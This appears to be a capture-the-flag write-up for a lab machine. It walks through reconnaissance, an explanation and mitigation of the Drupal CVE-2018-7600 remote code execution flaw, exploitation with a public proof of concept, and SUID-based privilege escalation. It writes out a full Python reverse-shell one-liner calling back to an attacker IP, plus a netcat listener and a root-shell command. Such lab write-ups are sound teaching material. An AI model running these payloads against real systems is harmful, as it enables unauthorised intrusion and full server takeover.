This is a comprehensive write-up and complete explanation for the boot2root machine DrupalGATE on Hackildo. Use this as a reference and not for to cheat, be honest with yourself
—————————————————————————————————————————————————
Reconnaissance
Lets parse the IP address of the machine in the /etc/hosts for the sake of convenience.
Lets make a quick nmap scan on the target so see the open ports and services running.
nmap –sV drupal.hk —min-rate 4000
The nmap scan reveals that the machine is running SSH at port 22, HTTP at port 80 and 8080. As we know that the challenge is hosted at the port 8080 we are going to focus on that one.
As we can see the there is some web application with login and request new password, basically forgot password facility. We will get to that later on.
Upon further inspection we can see in the footer of the web page that the web application is using the Drupal cms
—————————————————————————————————————————————————
Directory busting
Now lets perform directory busting on the web-application using gobuster with specific extensions like the txt, js, php etc.
gobuster dir -u http://drupal.hk:8080 -w /usr/share/wordlist.txt -x txt,php,js,html
--exclude-length 4048
As we can see that we have got a txt file upon visiting the file we can see that the web application is running the drupal version 7.57.
Vulnerability explanation
As we know-
1) The target is running the web application at the port 8080
2) The web application is power by the Drupal CMS
3) The Drupal CMS has the version 7.57
4) This version is vulnerable to the RCE via the request new password funtionality
CVE-2018-7600, commonly known as Drupalgeddon2, is a critical unauthenticated Remote Code Execution (RCE) vulnerability affecting vulnerable versions of Drupal 6.x, 7.x, and 8.x. It received a CVSS v3 score of 9.8 (Critical) due to its ability to allow complete system compromise without requiring authentication.
The vulnerability exists in Drupal’s Form API (FAPI), which is responsible for building and processing web forms such as user registration, login, and password reset. In affected versions, user-controlled input was not sufficiently validated before being incorporated into Drupal’s internal render arrays. This allowed specially crafted requests to inject unexpected render properties that altered the application’s normal execution flow.
By abusing this behavior, an attacker could cause Drupal to invoke unintended internal callbacks, ultimately leading to arbitrary PHP code execution on the web server. Since several vulnerable form endpoints are accessible without authentication, the flaw could be exploited remotely by an unauthenticated attacker.
Root Cause
· Insufficient validation of user-supplied data within Drupal’s Form API.
· User input could influence internal render-array processing.
· Unexpected callback execution resulted in arbitrary code execution.
Impact
A successful attack could allow an attacker to:
· Execute arbitrary commands on the target server.
· Obtain a reverse shell.
· Read, modify, or delete application files.
· Access sensitive configuration files and database credentials.
· Escalate privileges through additional local vulnerabilities or system misconfigurations.
· Gain complete control of the affected Drupal instance.
Mitigation
The Drupal Security Team addressed the vulnerability by strengthening validation within the Form API to prevent user-controlled input from injecting render properties. Administrators should upgrade to a patched Drupal release immediately and restrict unnecessary exposure of public-facing administrative services. Regular patch management, web application firewalls (WAFs), and continuous monitoring for suspicious requests targeting Drupal form endpoints further reduce the risk of exploitation.
————————————————————————————————————————————-
Initial foothold
In order to exploit the vulnerability we are going to use the PoC made by https://github.com/pimps/CVE-2018-7600. After cloning the repository use the command
I tried running the id command just to verify and we clearly see tha we got the output, so lets weaponise the PoC and get a reverse shell.
Before that lets start a reverse shell listner using the command
nc –lnvp 1234
We are using the python3 reverse shell for now
"python3 -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\“10.8.3.133\”,1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\“/bin/sh\”,\“-i\”])’"
So the final command becomes
python3 drupa7-CVE-2018-7600.py -c "python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.8.3.133\",1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"])'" http://drupal.hk:8080
And we got the reverse shell
Now lets upgrade the reverse shell using the following series of commands
1) python3 -c ‘import pty;pty.spawn(“/bin/bash”)’
2) Ctrl + z
3) stty raw –echo
4) fg
5) reset
6) export TERM=xterm-256color
After navigating to /home/flaguser we can see the first user flag
————————————————————————————————————————————————
Privilege escalation
Now to escalate the privileges we are goind to find for the executable binaries which has the SUID of the root using the following command
find / -perm /4000 2>/dev/null
As we can see the ‘find’ binary has the SUID of root; this means that the find command is being executed as the root user no matter who and how this is executed
We can use the –exec argument of the find to execute the /bin/bash command and get a shell as the root user
find . -exec /bin/sh -p \; –quit
The –p flag preserves the privileges gives use the shell as the root user
And boom we have rooted the machine
